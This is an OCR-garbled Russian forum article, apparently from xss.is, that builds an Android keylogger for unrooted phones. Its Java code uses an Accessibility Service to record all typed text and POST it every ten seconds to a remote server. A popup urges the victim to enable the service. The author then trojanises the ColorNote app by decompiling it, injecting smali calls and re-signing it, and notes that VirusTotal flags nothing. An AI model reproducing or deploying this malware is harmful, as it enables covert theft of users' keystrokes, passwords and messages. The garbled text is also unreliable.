CtaTtbsa BecTtpanBaem keunorrep B 6510okHOT [Android, no
root]

& xss.is/threads/36006

Intro

B 97011 yacTy, s moKaXky, Kak 3JI0yMBIIIJIEHHUK MOKET BHEAPUTH KEHJLJIOTED B IIPOCTOU
6s10KHOT. OTJIMYME OT MPEBIYIIEero BapruaHTa OyZleT B TOM, YTO BHEJIPATHCS, IOMHUMO KO/a,
oyner eme u GUI ayiemeHT.

Keylogger He TpeOyromuii pyra

Ha gaHHBIFM MOMEHT, MHE U3BECTHO JIBa CIIocoba co3/IaHus KeHIorrepa mo/i aHIpou/l, Ha
HepyTOBaHHOM TesiedoHe. I1epBhIi crtocob - co3iaHme CBOEH BUPTYAIbHOU KJIaBHATYPHI. Bl
yCTaHABJIMBaeTe TaKoe IMPUJIOKEeHNE U I00aBJIseTe ero B HaCTPOUKaX, KAk BUPTYAJIbHYIO
KJIaBUATYPYy.

ITO c1tocob caMblil OeCIIoIe3HbIH, COOCTBEHHAS KJIAaBHATypa XOPOIIIO BUHA MOJIb30BATEIIO.
Bropoii crtoco6, aTo co3nanue Accessibility Service. Takue cepBuCHI, BCTpaUBAIOTCS B
PUJIOKEHWS, JIJIs JIIOZIEN ¢ OTPaHUYEeHHBIMHU BO3MOKHOCTAMH. OHU UMEIOT JOCTYII KO
MHOTHM BelllaM, O/THA U3 KOTOPBIX - IT0JIb30BaTEILCKUH BBO]. IMEHHO TO UTO HYKHO JIJIsI
Kelsiorrepa.

Co3smaem payload

Payload 6yzet coctosaTh U3 Tpex knaccos - ExecuteAttack, GoogleService, SendService. Kiacc
MainActivity mpocTto BcriomoraresibHbIi. 1 emfe y Hac 6yzet xml koH(pUTr
AccessibilityService.

UYto6n1 Hatr Accessibility Service Hauasn paborarth, 10JIb30BaATEI0 HEOOXOIUMO BKITIOUUTD
€ro B HacTpoHKax. MbI MOMOKEM B 3TOM IT0JIb30BATEJTIO, BHEJIDUB B IIPUJIOKEHUE
BCILIBIBAIOIIEE OKHO, ¢ TeKeToM Please enable app in settings! Otherwise it will stop
working (MOKHO HUCIIOJIb30BaTh U O0JIee Myraomui TekeT). Y 706aBUM KHOIIOUKY, YTOOBI
II0JTb30BATEJTh [0 HEW KJIMKHYJI U Iepelest cpasy B HacTpoiiku. Kitace ExecuteAttack
MMEHHO 3TO U JIeJIaeT.

Code:


https://xss.is/threads/36006/
https://play.google.com/store/apps/details?id=com.socialnmobile.dictapps.notepad.color.note
https://habr.com/ru/post/460993/
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GoogleService - OCHOBHas JIOTHKa Kelyuorepa. fIBisercsa AccessibilityService:
Code:

public class GoogleService extends AccessibilityService {

Mertog onAccessibilityEvent() IpuHHUMAaeT Bce BxoAsAIue coobITrsa. CoObITHE

AccessibilityEvent.TYPE_VIEW_TEXT_CHANGED HIPHUXOJHUT, KOrJa II0JIb30BATEJIb BBOJUT
TEKCT B I10JIe Kakoe-HUOy1b. MbI OTJIaBJIMBaEM UMEHHO ero. Bech BBOJ 3amumchiBaeM B
Oydep. U kaxkaple 10 CEKyH/I OTIIpaBJisieM 3TOT Oydep Ha CBOU cepBEP, CTapTys

SendService .
Code:



public void onAccessibilityEvent(AccessibilityEvent event) {
switch (event.getEventType()) {
case AccessibilityEvent.TYPE_VIEW TEXT_CHANGED:

int len = event.getText().toString().length();
char c;
if (len > @) {
c = event.getText().toString().charAt(len - 2);

buf += c;

}

break;
default:
break;

}
Log.d(TAG, "Keylogger buffer now " + buf);

Date now = new Date();
Date newTime = new Date(GoogleService.CURRENT_TIMESTAMP.getTime() + 10 * 1000);

if (now.after(newTime) && !"".equals(buf)) {
Context ctx = getApplicationContext();
Intent intent = new Intent(ctx, SendService.class);

intent.putExtra("text", buf);
ctx.startService(intent);

GoogleService.CURRENT_TIMESTAMP = now;
buf = "";

Kondur, namero GoogleService , BBITJIAJIUT TaK:
Code:

<?xml version="1.0" encoding="utf-8"?>
<accessibility-service xmlns:android="http://schemas.android.com/apk/res/android"
android:accessibilityEventTypes="typeViewTextChanged"

android:accessibilityFeedbackType="feedbackSpoken|feedbackHaptic|feedbackAudible|feedbackVisu:
android:notificationTimeout="100"
android:accessibilityFlags="flagDefault|flagIncludeNotImportantViews"

android:canRetrieveWindowContent="false" />

B HeM ykasbIBaeTcs, Ha KaKye COOBITHS ITOAITUCHIBAETCS HAIIl CEPBUC U JIpyTast
nHopMaIus.

SendService - IPOCTO OTHPABJIAET JAHHBIE HA CEPBEP.



Code:

private void sendResult(String text) {

Log.d(TAG, "Sending result to server");

HttpURLConnection urlConnection = null;

try {

int length = text.length();

URL url = new URL("http://Xxxxxxxxx");
urlConnection = (HttpURLConnection) url.openConnection();
urlConnection.setConnectTimeout(30 * 1000);

urlConnection.setRequestMethod("POST");
urlConnection.setDoOutput(true);
urlConnection.setDoInput(false);
urlConnection.setRequestProperty("Content-Type", "text/plain");
urlConnection.setRequestProperty("Content-Length",

Integer.valueOf(length).toString());

DataOutputStream request = new DataOutputStream(urlConnection.getOutputStream());
Log.d(TAG, "Sending " + text);
request.write(text.getBytes(StandardCharsets.UTF_8));

request.flush();

request.close();

int respCode = urlConnection.getResponseCode();
Log.d(TAG, "Return status code: " + respCode);
urlConnection.disconnect();

} catch (Exception e) {

Log.d(TAG, e.getMessage());

MainActivity - HaM HYXKE€H JIMIIb JJId IIOJIyYeHUA smali Koz1a BbI30Ba OCHOBHOT'O METO/1A.

Cobupaem apk, IeKOMITUIUPYEM, C IIOMOIIBIO apktool , ¥ MIOKA OCTABJISIEM TaK.

Bueapsiem payload
3aiinem B Play Market u ckaurBaem /10cTaTOYHO moIyJisspHoe nprioxkenne ColorNote.

JIeKOMIIMJIUPYEM €ro, ¢ IIOMOIIbI0 apktool . OTKphIBaeM MaHUGECT, YTOOBI HAUTHU IJIaBHBIN
akTuBUTU. Kak roBopuioch paHHee, HAM 3TO HEOOXO/IMMO JJIsl TOTO, UTOOBI HAIIl KEHJIOTTED

paboTas cpasy, Iocje 3amycKa MPUIoKEeHHUs.

Code:


https://play.google.com/store/apps/details?id=com.socialnmobile.dictapps.notepad.color.note

<activity
android:configChanges="keyboard|keyboardHidden|orientation|screenLayout|screenSize|smallestSct

android:label="@string/app_name"
android:name="com.socialnmobile.colornote.activity.Main"

android:taskAffinity="colornote.task.main" android:theme="@style/Theme.NoTitle.Light"

android:windowSoftInputMode="adjustPan">

<intent-filter>
<action android:name="android.intent.action.MAIN"/>
<category android:name="android.intent.category.LAUNCHER"/>
<category android:name="android.intent.category.MULTIWINDOW_LAUNCHER"/>
<category android:name="android.intent.category.MONKEY"/>

</intent-filter>

<intent-filter>
<action android:name="android.intent.action.VIEW"/>
<action android:name="android.intent.action.EDIT"/>
<action android:name="android.intent.action.PICK"/>
<category android:name="android.intent.category.DEFAULT"/>
<data

android:mimeType="vnd.android.cursor.dir/vnd.socialnmobile.colornote.note"/>
</intent-filter>

Buyimm Hy»>KHBIH Kj1acc com.socialnmobile.colornote.activity.Main . B Hem uinem MeTos
OnCreate() . Bumum mpomeskyTok Mexay line 164 u line 172. Tyna u 6yzieM BHeIPATH BBI3OB

Harel GyHKIUU.

Code:



.method protected onCreate(Landroid/os/Bundle;)V
.locals 6

.prologue
const v2, ox7f0800f9

const/4 v5, 0x0
const/4 v4, ox1

.line 164

invoke-super {p@, pl}, Lcom/socialnmobile/colornote/activity/ThemeFragmentActivity;-

>onCreate(Landroid/os/Bundle; )V
S e //BHeppaemca cioaa

.line 172
invoke-virtual {p@, v4}, Lcom/socialnmobile/colornote/activity/Main;->d(I)V

.line 173
const vO, Ox7f0a0003

MbI HanTUCaIu KEHJIOTTeP TaK, YTOOBI OBLJIO JOCTATOYHO BHI3BATH OJTHY (DYHKITUIO
openSettings() BKjacce ExecuteAttack . BpI30B 3TOM DyHKIIUM y HAC OBLI B
MainActivity . OTKpbeIBaeM smali BepcHio 3TOro Kiacca.

Code:

# virtual methods
.method protected onCreate(Landroid/os/Bundle;)V
.locals ©

.line 13
invoke-super {p@, pl}, Landroid/app/Activity;->onCreate(Landroid/os/Bundle;)V

const pl, 0x7f09001c

.line 14
invoke-virtual {p@, pl}, Lkz/c/keylogger/MainActivity;->setContentView(I)V

.line 15

invoke-static {p@}, Lkz/c/keylogger/ExecuteAttack;-
>openSettings(Landroid/content/Context;)V

// HyxHaa Ham cTpoka

return-void
.end method

BepeM 5TOT BBI30OB U /1006aBJsieM B com.socialnmobile.colornote.activity.Main
OH BBIIVIAJUT TaK.
Code:

. B utore



.method protected onCreate(Landroid/os/Bundle;)V
.locals 6

.prologue
const v2, ox7f0800f9

const/4 v5, 0x0
const/4 v4, ox1

.line 164
invoke-super {p@, pl}, Lcom/socialnmobile/colornote/activity/ThemeFragmentActivity;-
>onCreate(Landroid/os/Bundle; )V

.line 165
invoke-static {p@}, Lcom/socialnmobile/colornote/activity/ExecuteAttack;-
>openSettings(Landroid/content/Context;)V

.line 172
invoke-virtual {p@, v4}, Lcom/socialnmobile/colornote/activity/Main;->d(I)V

Teneps KonupyeM Hy:kHbIe smali, B rekommnuinpoBanHyto nanky ColorNote, kak 3To fieyanu
B IpeabIymuil pa3. Mensiem um package name. He 3a6p1Baem 06 xml koHbwure Haiero
CepBUCa, €ro TOXKe IepeHOCcuM B manky res|xml. Ocrasoch 1060aBUTH HAIIL
AccessibilityService u cepBuc 1o oTpaBke JaHHBIX Ha cEPBEP B MaHHU(ECT.

Code:

<service android:name="com.socialnmobile.colornote.activity.SendService"/>
<service android:name="com.socialnmobile.colornote.activity.GoogleService"
android:permission="android.permission.BIND_ACCESSIBILITY_SERVICE">
<intent-filter>
<action android:name="android.accessibilityservice.AccessibilityService" />
</intent-filter>
<meta-data android:name="android.accessibilityservice"
android:resource="@xml/accessibility service_config" />
</service>

Kak u panee, cobupaem c¢ momotipio apktool u mosnuceiBaem jarsigner. Virustotal rosopur,
YTO MBI YHCTBI. Busieo, kak 5To paboTaer:


https://www.virustotal.com/gui/file-analysis/YmQxODExMjJiNjljZDVlOTRiZDFjYWI4N2YxYjYxNDQ6MTU2MzM3MDY4Ng==/detection

Watch Video At: https://youtu.be/vTHec60Souo

Astop Thatskriptkid


https://youtu.be/vTHcc6OSou0
https://xss.is/members/193036/

